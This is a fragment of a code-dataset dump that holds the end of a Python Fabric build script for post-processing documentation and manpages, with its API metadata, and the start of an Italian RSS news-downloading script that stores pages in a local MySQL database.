f.write(page)\n\n puts('[{0}]: processed {1}'.format(tag, fn))\n\ndef munge_content(content, regex):\n if isinstance(regex, list):\n for cregex, subst in regex:\n content = cregex.sub(subst, content)\n return content\n else:\n return regex[0].sub(regex[1], content)\n\ndef error_pages():\n conf = get_conf()\n\n error_conf = os.path.join(conf.build.paths.builddata, 'errors.yaml')\n\n if not os.path.exists(error_conf):\n return None\n else:\n error_pages = ingest_yaml_list(error_conf)\n\n sub = (re.compile(r'\\.\\./\\.\\./'), conf.project.url + r'/' + conf.project.tag + r'/')\n\n for error in error_pages:\n page = os.path.join(conf.build.paths.projectroot,\n conf.build.paths['branch-output'], 'dirhtml',\n 'meta', error, 'index.html')\n munge_page(fn=page, regex=sub, tag='error-pages')\n\n puts('[error-pages]: rendered {0} error pages'.format(len(error_pages)))\n\n#################### Manpage Processing ####################\n\ndef manpage_url(regex_obj, input_file=None):\n if input_file is None:\n if env.input_file is None:\n abort('[man]: you must specify input and output files.')\n else:\n input_file = env.input_file\n\n with open(input_file, 'r') as f:\n manpage = f.read()\n\n if isinstance(regex_obj, list):\n for regex, subst in regex_obj:\n manpage = regex.sub(subst, manpage)\n else:\n manpage = regex_obj[0].sub(regex_obj[1], manpage)\n\n with open(input_file, 'w') as f:\n f.write(manpage)\n\n puts(\"[{0}]: fixed urls in {1}\".format('man', input_file))\n\ndef manpage_url_jobs():\n conf = get_conf()\n\n project_source = os.path.join(conf.build.paths.projectroot,\n conf.build.paths.source)\n\n top_level_items = set()\n for fs_obj in os.listdir(project_source):\n if fs_obj.startswith('.static') or fs_obj == 'index.txt':\n continue\n if os.path.isdir(os.path.join(project_source, fs_obj)):\n top_level_items.add(fs_obj)\n if fs_obj.endswith('.txt'):\n top_level_items.add(fs_obj[:-4])\n\n top_level_items = '/'+ r'[^\\s]*|/'.join(top_level_items) + r'[^\\s]*'\n\n re_string = r'(\\\\fB({0})\\\\fP)'.format(top_level_items).replace(r'-', r'\\-')\n subst = conf.project.url + '/' + conf.project.tag + r'\\2'\n\n regex_obj = (re.compile(re_string), subst)\n\n for manpage in expand_tree(os.path.join(conf.build.paths.projectroot,\n conf.build.paths.output,\n conf.git.branches.current,\n 'man'), ['1', '5']):\n yield dict(target=manpage,\n dependency=None,\n job=manpage_url,\n args=[regex_obj, manpage])\n\n\ndef _process_page(fn, output_fn, regex, builder='processor'):\n tmp_fn = fn + '~'\n\n jobs = [\n {\n 'target': tmp_fn,\n 'dependency': fn,\n 'job': munge_page,\n 'args': dict(fn=fn, out_fn=tmp_fn, regex=regex),\n },\n {\n 'target': output_fn,\n 'dependency': tmp_fn,\n 'job': copy_always,\n 'args': dict(source_file=tmp_fn,\n target_file=output_fn,\n name=builder),\n }\n ]\n\n runner(jobs, pool=1)\n\ndef manpage_jobs():\n conf = get_conf()\n\n jobs = [\n (\n os.path.join(conf.build.paths.includes, \"manpage-options-auth.rst\"),\n os.path.join(conf.build.paths.includes, 'manpage-options-auth-mongo.rst'),\n ( re.compile('fact-authentication-source-tool'),\n 'fact-authentication-source-mongo' )\n ),\n (\n os.path.join(conf.build.paths.includes, 'manpage-options-ssl.rst'),\n os.path.join(conf.build.paths.includes, 'manpage-options-ssl-settings.rst'),\n [ (re.compile(r'\\.\\. option:: --'), r'.. setting:: ' ),\n (re.compile(r'setting:: (\\w+) .*'), r'setting:: \\1'),\n (re.compile(r':option:`--'), r':setting:`') ]\n )\n ]\n\n for input_fn, output_fn, regex in jobs:\n yield {\n 'target': output_fn,\n 'dependency': output_fn,\n 'job': _process_page,\n 'args': [ input_fn, output_fn, regex, 'manpage' ],\n }\n\ndef post_process_jobs(source_fn=None, tasks=None, conf=None):\n if tasks is None:\n if conf is None:\n conf = get_conf()\n\n if source_fn is None:\n source_fn = os.path.join(conf.build.paths.project.root,\n conf.build.paths.builddata,\n 'processing.yaml')\n tasks = ingest_yaml(source_fn)\n elif not isinstance(tasks, collections.Iterable):\n abort('[ERROR]: cannot parse post processing specification.')\n\n def rjob(fn, regex, type):\n return {\n 'target': fn,\n 'dependency': None,\n 'job': _process_page,\n 'args': dict(fn=fn, output_fn=fn, regex=regex, builder=type)\n }\n\n for job in tasks:\n if not isinstance(job, dict):\n abort('[ERROR]: invalid replacement specification.')\n elif not 'file' in job and not 'transform' in job:\n abort('[ERROR]: replacement specification incomplete.')\n\n if 'type' not in job:\n job['type'] = 'processor'\n\n if isinstance(job['transform'], list):\n regex = [ ( re.compile(rs['regex'], rs['replace'] ) ) for rs in job['transform'] ]\n else:\n regex = ( re.compile(job['transform']['regex'] ), job['transform']['replace'])\n\n if isinstance(job['file'], list):\n for fn in job['file']:\n yield rjob(fn, regex, job['type'])\n else:\n yield rjob(fn, regex, job['type'])\n", "sub_path": "fabfile/process.py", "file_name": "process.py", "file_ext": "py", "file_size_in_byte": 21244, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "fabric.api.env.input_file", "line_number": 14, "usage_type": "attribute"}, {"api_name": "fabric.api.env", "line_number": 14, "usage_type": "name"}, {"api_name": "fabric.api.env.output_file", "line_number": 15, "usage_type": "attribute"}, {"api_name": "fabric.api.env", "line_number": 15, "usage_type": "name"}, {"api_name": "fabric.api.env.input_file", "line_number": 19, "usage_type": "attribute"}, {"api_name": "fabric.api.env", "line_number": 19, "usage_type": "name"}, {"api_name": "fabric.api.task", "line_number": 17, "usage_type": "name"}, {"api_name": "fabric.api.env.output_file", "line_number": 23, "usage_type": "attribute"}, {"api_name": "fabric.api.env", "line_number": 23, "usage_type": "name"}, {"api_name": "fabric.api.task", "line_number": 21, "usage_type": "name"}, {"api_name": "fabric.api.env.input_file", "line_number": 28, "usage_type": "attribute"}, {"api_name": "fabric.api.env", "line_number": 28, "usage_type": "name"}, {"api_name": "fabric.api.env.output_file", "line_number": 28, "usage_type": "attribute"}, {"api_name": "fabric.api.env.input_file", "line_number": 31, "usage_type": "attribute"}, {"api_name": "fabric.api.env", "line_number": 31, "usage_type": "name"}, {"api_name": "fabric.api.env.output_file", "line_number": 31, "usage_type": "attribute"}, {"api_name": "docs_meta.get_conf", "line_number": 35, "usage_type": "call"}, {"api_name": "make.runner", "line_number": 37, "usage_type": "call"}, {"api_name": "fabric.api.puts", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 49, "usage_type": "call"}, {"api_name": "fabric.api.local", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "fabric.api.puts", "line_number": 55, "usage_type": "call"}, {"api_name": "docs_meta.get_conf", "line_number": 59, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 62, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 63, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 64, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 65, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 66, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 67, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 68, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 69, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 70, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 71, "usage_type": "call"}, {"api_name": "utils.expand_tree", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path", "line_number": 79, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "utils.dot_concat", "line_number": 83, "usage_type": "call"}, {"api_name": "utils.dot_concat", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 103, "usage_type": "call"}, {"api_name": "docs_meta.get_manual_path", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path", "line_number": 125, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 129, "usage_type": "call"}, {"api_name": "fabric.api.puts", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path", "line_number": 134, "usage_type": "attribute"}, {"api_name": "docs_meta.get_conf", "line_number": 137, "usage_type": "call"}, {"api_name": "docs_meta.get_manual_path", "line_number": 143, "usage_type": "call"}, {"api_name": "docs_meta.get_manual_path", "line_number": 147, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 149, "usage_type": "call"}, {"api_name": "os.path", "line_number": 149, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 150, "usage_type": "call"}, {"api_name": "fabric.api.puts", "line_number": 157, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 162, "usage_type": "call"}, {"api_name": "os.path", "line_number": 162, "usage_type": "attribute"}, {"api_name": "os.utime", "line_number": 163, "usage_type": "call"}, {"api_name": "fabric.api.puts", "line_number": 164, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 170, "usage_type": "call"}, {"api_name": "os.path", "line_number": 170, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 170, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 170, "usage_type": "call"}, {"api_name": "make.check_dependency", "line_number": 181, "usage_type": "call"}, {"api_name": "make.runner", "line_number": 187, "usage_type": "call"}, {"api_name": "fabric.api.puts", "line_number": 188, "usage_type": "call"}, {"api_name": "utils.expand_tree", "line_number": 191, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 192, "usage_type": "call"}, {"api_name": "docs_meta.output_yaml", "line_number": 206, "usage_type": "call"}, {"api_name": "fabric.api.env.output_file", "line_number": 206, "usage_type": "attribute"}, {"api_name": "fabric.api.env", "line_number": 206, "usage_type": "name"}, {"api_name": "fabric.api.task", "line_number": 204, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 210, "usage_type": "call"}, {"api_name": "os.path", "line_number": 210, "usage_type": "attribute"}, {"api_name": "os.utime", "line_number": 211, "usage_type": "call"}, {"api_name": "fabric.api.task", "line_number": 208, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 218, "usage_type": "call"}, {"api_name": "os.path", "line_number": 218, "usage_type": "attribute"}, {"api_name": "fabric.api.puts", "line_number": 219, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 222, "usage_type": "call"}, {"api_name": "os.path", "line_number": 222, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 222, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 223, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 223, "usage_type": "call"}, {"api_name": "os.path", "line_number": 223, "usage_type": "attribute"}, {"api_name": "shutil.copyfile", "line_number": 224, "usage_type": "call"}, {"api_name": "fabric.api.puts", "line_number": 226, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 229, "usage_type": "call"}, {"api_name": "os.path", "line_number": 229, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 229, "usage_type": "call"}, {"api_name": "fabric.api.puts", "line_number": 230, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 232, "usage_type": "call"}, {"api_name": "os.path", "line_number": 232, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 233, "usage_type": "call"}, {"api_name": "os.path", "line_number": 233, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 233, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 234, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 234, "usage_type": "call"}, {"api_name": "os.path", "line_number": 234, "usage_type": "attribute"}, {"api_name": "shutil.copyfile", "line_number": 235, "usage_type": "call"}, {"api_name": "fabric.api.puts", "line_number": 238, "usage_type": "call"}, {"api_name": "utils.md5_file", "line_number": 240, "usage_type": "call"}, {"api_name": "fabric.api.puts", "line_number": 242, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 244, "usage_type": "call"}, {"api_name": "fabric.api.puts", "line_number": 247, "usage_type": "call"}, {"api_name": "fabric.api.env.input_file", "line_number": 251, "usage_type": "attribute"}, {"api_name": "fabric.api.env", "line_number": 251, "usage_type": "name"}, {"api_name": "fabric.api.env.output_file", "line_number": 251, "usage_type": "attribute"}, {"api_name": "fabric.api.task", "line_number": 249, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 254, "usage_type": "call"}, {"api_name": "os.path", "line_number": 254, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 255, "usage_type": "call"}, {"api_name": "os.path", "line_number": 255, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 256, "usage_type": "call"}, {"api_name": "os.path.islink", "line_number": 258, "usage_type": "call"}, {"api_name": "os.path", "line_number": 258, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 259, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 260, "usage_type": "call"}, {"api_name": "os.path", "line_number": 260, "usage_type": "attribute"}, {"api_name": "fabric.api.abort", "line_number": 261, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 262, "usage_type": "call"}, {"api_name": "os.path", "line_number": 262, "usage_type": "attribute"}, {"api_name": "fabric.api.abort", "line_number": 263, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 265, "usage_type": "call"}, {"api_name": "os.path", "line_number": 265, "usage_type": "attribute"}, {"api_name": "fabric.api.abort", "line_number": 267, "usage_type": "call"}, {"api_name": "utils.symlink", "line_number": 269, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 270, "usage_type": "call"}, {"api_name": "fabric.api.puts", "line_number": 271, "usage_type": "call"}, {"api_name": "make.check_dependency", "line_number": 275, "usage_type": "call"}, {"api_name": "fabric.api.puts", "line_number": 278, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 284, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 285, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 286, "usage_type": "call"}, {"api_name": "fabric.api.puts", "line_number": 291, "usage_type": "call"}, {"api_name": "fabric.api.puts", "line_number": 305, "usage_type": "call"}, {"api_name": "os.devnull", "line_number": 311, "usage_type": "attribute"}, {"api_name": "subprocess.check_call", "line_number": 312, "usage_type": "call"}, {"api_name": "subprocess.CalledProcessError", "line_number": 313, "usage_type": "attribute"}, {"api_name": "fabric.api.puts", "line_number": 317, "usage_type": "call"}, {"api_name": "os.devnull", "line_number": 320, "usage_type": "attribute"}, {"api_name": "subprocess.check_call", "line_number": 321, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 321, "usage_type": "call"}, {"api_name": "os.path", "line_number": 321, "usage_type": "attribute"}, {"api_name": "subprocess.CalledProcessError", "line_number": 322, "usage_type": "attribute"}, {"api_name": "fabric.api.puts", "line_number": 324, "usage_type": "call"}, {"api_name": "os.devnull", "line_number": 327, "usage_type": "attribute"}, {"api_name": "subprocess.check_call", "line_number": 328, "usage_type": "call"}, {"api_name": "subprocess.CalledProcessError", "line_number": 329, "usage_type": "attribute"}, {"api_name": "fabric.api.puts", "line_number": 332, "usage_type": "call"}, {"api_name": "os.devnull", "line_number": 335, "usage_type": "attribute"}, {"api_name": "subprocess.check_call", "line_number": 336, "usage_type": "call"}, {"api_name": "subprocess.CalledProcessError", "line_number": 337, "usage_type": "attribute"}, {"api_name": "fabric.api.puts", "line_number": 340, "usage_type": "call"}, {"api_name": "fabric.api.puts", "line_number": 342, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 342, "usage_type": "call"}, {"api_name": "os.path", "line_number": 342, "usage_type": "attribute"}, {"api_name": "make.runner", "line_number": 349, "usage_type": "call"}, {"api_name": "fabric.api.puts", "line_number": 350, "usage_type": "call"}, {"api_name": "fabric.api.task", "line_number": 344, "usage_type": "name"}, {"api_name": "docs_meta.get_conf", "line_number": 353, "usage_type": "call"}, {"api_name": "utils.ingest_yaml_list", "line_number": 355, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 355, "usage_type": "call"}, {"api_name": "os.path", "line_number": 355, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 356, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 358, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 359, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 371, "usage_type": "call"}, {"api_name": "os.path", "line_number": 371, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 373, "usage_type": "call"}, {"api_name": "os.path", "line_number": 373, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 374, "usage_type": "call"}, {"api_name": "os.path", "line_number": 374, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 377, "usage_type": "call"}, {"api_name": "os.path", "line_number": 377, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 382, "usage_type": "call"}, {"api_name": "os.path", "line_number": 382, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 384, "usage_type": "call"}, {"api_name": "os.path", "line_number": 384, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 385, "usage_type": "call"}, {"api_name": "os.path", "line_number": 385, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 386, "usage_type": "call"}, {"api_name": "os.path", "line_number": 386, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 387, "usage_type": "call"}, {"api_name": "os.path", "line_number": 387, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 388, "usage_type": "call"}, {"api_name": "os.path", "line_number": 388, "usage_type": "attribute"}, {"api_name": "fabric.api.puts", "line_number": 437, "usage_type": "call"}, {"api_name": "docs_meta.get_conf", "line_number": 448, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 450, "usage_type": "call"}, {"api_name": "os.path", "line_number": 450, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 452, "usage_type": "call"}, {"api_name": "os.path", "line_number": 452, "usage_type": "attribute"}, {"api_name": "utils.ingest_yaml_list", "line_number": 455, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 457, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 460, "usage_type": "call"}, {"api_name": "os.path", "line_number": 460, "usage_type": "attribute"}, {"api_name": "fabric.api.puts", "line_number": 465, "usage_type": "call"}, {"api_name": "fabric.api.env.input_file", "line_number": 471, "usage_type": "attribute"}, {"api_name": "fabric.api.env", "line_number": 471, "usage_type": "name"}, {"api_name": "fabric.api.abort", "line_number": 472, "usage_type": "call"}, {"api_name": "fabric.api.env.input_file", "line_number": 474, "usage_type": "attribute"}, {"api_name": "fabric.api.env", "line_number": 474, "usage_type": "name"}, {"api_name": "fabric.api.puts", "line_number": 488, "usage_type": "call"}, {"api_name": "docs_meta.get_conf", "line_number": 491, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 493, "usage_type": "call"}, {"api_name": "os.path", "line_number": 493, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 497, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 500, "usage_type": "call"}, {"api_name": "os.path", "line_number": 500, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 500, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 510, "usage_type": "call"}, {"api_name": "utils.expand_tree", "line_number": 512, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 512, "usage_type": "call"}, {"api_name": "os.path", "line_number": 512, "usage_type": "attribute"}, {"api_name": "make.runner", "line_number": 542, "usage_type": "call"}, {"api_name": "docs_meta.get_conf", "line_number": 545, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 549, "usage_type": "call"}, {"api_name": "os.path", "line_number": 549, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 550, "usage_type": "call"}, {"api_name": "os.path", "line_number": 550, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 551, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 555, "usage_type": "call"}, {"api_name": "os.path", "line_number": 555, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 556, "usage_type": "call"}, {"api_name": "os.path", "line_number": 556, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 557, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 558, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 559, "usage_type": "call"}, {"api_name": "docs_meta.get_conf", "line_number": 574, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 577, "usage_type": "call"}, {"api_name": "os.path", "line_number": 577, "usage_type": "attribute"}, {"api_name": "collections.Iterable", "line_number": 581, "usage_type": "attribute"}, {"api_name": "fabric.api.abort", "line_number": 582, "usage_type": "call"}, {"api_name": "fabric.api.abort", "line_number": 594, "usage_type": "call"}, {"api_name": "fabric.api.abort", "line_number": 596, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 602, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 604, "usage_type": "call"}]} {"seq_id": "37698457", "text": "'''\r\nALGORTIMO NON FUNZIONANTE\r\n\r\nNome:\r\nScaricatore delle notizie, versione più efficiente (non funzionante)\r\n\r\nObiettivo:\r\nL'algoritmo raccoglie le pagine HTML dai link rss e le salva nel database.\r\n\r\nPassaggi:\r\nConnessione al database\r\nRaccolta della lista dei siti web\r\nCollegamento ai siti e scaricamento delle notizie\r\nEesecuzione delle operazioni di salvataggio per ogni notizia già scaricata\r\nStampa a schermo dello stato di ogni passaggio portato a termine\r\n'''\r\n\r\n\r\nimport mysql.connector\r\nimport feedparser\r\nimport urllib\r\nimport urllib.request\r\nfrom urllib.request import urlopen\r\nfrom urllib.request import Request\r\nfrom datetime import datetime\r\nimport sys\r\nimport threading\r\n\r\n\r\ndef connect_to_db():\r\n\ttry:\r\n\t\tres = mysql.connector.connect(user='module1', password='insertnews', host='localhost', database='tesi')\r\n\t\treturn res\r\n\texcept mysql.connector.Error as err:\r\n\t\tif err.errno == errorcode.ER_ACCESS_DENIED_ERROR:\r\n\t\t\tprint(\"\\nPassword e/o username errati\")\r\n\t\telif err.errno == errorcode.ER_BAD_DB_ERROR:\r\n\t\t\tprint(\"\\nDatabase does not exist\")\r\n\t\telse:\r\n\t\t\tprint(\"\\nErrore: \" + err)\r\n\t\treturn None\r\n\r\n#Inizio script\r\n\t\t\r\n#Classe Threads per il download delle notizie\r\nclass newsDownloader (threading.Thread):\r\n\tdef __init__(self, site):\r\n\t\tthreading.Thread.__init__(self)\r\n\t\tself.s = site\r\n\tdef run(self):\r\n\t\tprint(\"Avvio thread: \", s[0])\r\n\t\tdbconnection = connect_to_db()\r\n\t\tdbcursor = dbconnection.cursor();\r\n\t\t#Caricamento dell'elenco link notizie già scaricate\r\n\t\tdbcursor.execute(\"SELECT dlink FROM notizie\")\r\n\t\telenconotizie = dbcursor.fetchall()\r\n\t\tdbcursor.execute(\"SELECT notizia, linkfeed FROM notizielinkfeed\")\r\n\t\telencocorrelazioni = dbcursor.fetchall()\r\n\t\tr = feedparser.parse(s[0])\r\n\t\tprint(\"parsed\")\r\n\t\tfor i in r.entries:\r\n\t\t\terrorFlag = 0\r\n\t\t\tif hasattr(i, 'link'):\r\n\t\t\t\tl = i.link\r\n\t\t\t\tnotinsertedflag = 0\r\n\t\t\t\t#Se la notizia non è ancora stata scaricata, viene scaricata e inserita nel database\r\n\t\t\t\tif (l,) not in elenconotizie and len(l) > 0:\r\n\t\t\t\t\ttry:\r\n\t\t\t\t\t\treq = Request(l)\r\n\t\t\t\t\t\t#Utilizzo di User-Agent per eludere i controlli\r\n\t\t\t\t\t\treq.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36')\r\n\t\t\t\t\t\tresponse = urlopen(req)\r\n\t\t\t\t\t\thtml = response.read()\r\n\t\t\t\t\texcept:\r\n\t\t\t\t\t\te = sys.exc_info()[0]\r\n\t\t\t\t\t\tlogerror = (\"INSERT INTO log (sito, downloadsuccess, info) VALUES (%s, %s, %s)\")\r\n\t\t\t\t\t\terrordata = (s[1], 0, str(e))\r\n\t\t\t\t\t\tdbcursor.execute(logerror, errordata)\r\n\t\t\t\t\t\tdbconnection.commit()\r\n\t\t\t\t\t\terrorFlag = 1\r\n\t\t\t\t\tif errorFlag == 0:\r\n\t\t\t\t\t\telenconotizie.append((l,))\r\n\t\t\t\t\t\t#Inserimento del codice HTML all'interno database\r\n\t\t\t\t\t\tinserimento = (\"INSERT INTO notizie (dlink, data, sitoweb, notizia) VALUES (%s, %s, %s, %s)\")\r\n\t\t\t\t\t\tif hasattr(i, 'published'):\r\n\t\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\t\tdatanotizia = datetime.strptime(i.published[0:25], '%a, %d %b %Y %H:%M:%S').isoformat()\r\n\t\t\t\t\t\t\texcept ValueError:\r\n\t\t\t\t\t\t\t\tdatanotizia = None\r\n\t\t\t\t\t\telse: datanotizia = None\r\n\t\t\t\t\t\tdati = (l, datanotizia, s[1], html)\r\n\t\t\t\t\t\tlog = (\"INSERT INTO log (sito, downloadsuccess, notizia) VALUES (%s, %s, %s)\")\r\n\t\t\t\t\t\tdatalog = (s[1], 1, l)\r\n\t\t\t\t\t\tcorrelazione = (\"INSERT INTO notizielinkfeed (notizia, linkfeed) VALUES (%s, %s)\")\r\n\t\t\t\t\t\tcorrelazione_data = (l, s[0])\r\n\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\tdbcursor.execute(inserimento, dati)\r\n\t\t\t\t\t\texcept mysql.connector.Error as e:\r\n\t\t\t\t\t\t\tnotinsertedflag = notinsertedflag + 1\r\n\t\t\t\t\t\t\tprint(\"\\nErrore durante inserimento codice html\")\r\n\t\t\t\t\t\t\tprint(e)\r\n\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\tdbcursor.execute(correlazione, correlazione_data)\r\n\t\t\t\t\t\texcept mysql.connector.Error as e:\r\n\t\t\t\t\t\t\tnotinsertedflag = notinsertedflag + 1\r\n\t\t\t\t\t\t\tprint(\"\\nErrore durante inserimento correlazione\")\r\n\t\t\t\t\t\t\tprint(e)\r\n\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\tdbcursor.execute(log, datalog)\r\n\t\t\t\t\t\texcept mysql.connector.Error as e:\r\n\t\t\t\t\t\t\tnotinsertedflag = notinsertedflag + 1\r\n\t\t\t\t\t\t\tprint(\"Errore durante inserimento log\")\r\n\t\t\t\t\t\t\tprint(e)\r\n\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\tdbconnection.commit()\r\n\t\t\t\t\t\texcept mysql.connector.Error as e:\r\n\t\t\t\t\t\t\tnotinsertedflag = notinsertedflag + 1\r\n\t\t\t\t\t\t\tprint(\"Errore durante commit\")\r\n\t\t\t\t\t\t\tprint(e)\r\n\t\t\t\t\t\tif notinsertedflag == 0:\r\n\t\t\t\t\t\t\t#In caso di successo, viene stampato a schermo il carattere \"↓\"\r\n\t\t\t\t\t\t\tprint(\"↓\", end =\"\", flush=True)\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tprint(\"\\nErrore download in: \", s[0])\r\n\t\t\t\telse:\r\n\t\t\t\t\tif (l,s[0]) not in elencocorrelazioni:\r\n\t\t\t\t\t\tcorrelazione = (\"INSERT INTO notizielinkfeed (notizia, linkfeed) VALUES (%s, %s)\")\r\n\t\t\t\t\t\tcorrelazione_data = (l, s[0])\r\n\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\tdbcursor.execute(correlazione, correlazione_data)\r\n\t\t\t\t\t\texcept mysql.connector.Error as e:\r\n\t\t\t\t\t\t\tnotinsertedflag = notinsertedflag + 1\r\n\t\t\t\t\t\t\tprint(\"\\nErrore durante inserimento correlazione\")\r\n\t\t\t\t\t\t\tprint(e)\r\n\t\t\t\t\t#Se la notizia è già stata scaricata, stampa a schermo il carattere \"→\"\r\n\t\t\t\t\tprint(\"→\", end =\"\", flush=True)\r\n\t\t\telse:\r\n\t\t\t\tlog = (\"INSERT INTO log (sito, downloadsuccess, notizia, info) VALUES (%s, %s, %s, %s)\")\r\n\t\t\t\tdatalog = (s[1], 0, None, \"attributo link non presente\")\r\n\t\t\t\ttry:\r\n\t\t\t\t\tdbcursor.execute(log, datalog)\r\n\t\t\t\texcept mysql.connector.Error as e:\r\n\t\t\t\t\tprint(\"Errore durante inserimento log\")\r\n\t\t\t\t\tprint(e)\r\n\t\tdbcursor.close()\r\n\t\tdbconnection.close()\r\n\t\tprint(\"\\nThread\", s[0], \" terminato\\n\")\r\n\t\t\r\n#Connessione al database\r\nprint(\"---------- MODULO 1 - ESECUZIONE ----------\\n\")\r\nprint(\"Connessione al database... \")\r\n\r\ndbconnection = connect_to_db()\r\n\r\nprint(\"completata\\n\")\r\n\r\n#Raccolta dei link dei siti web\r\nprint(\"Raccolta 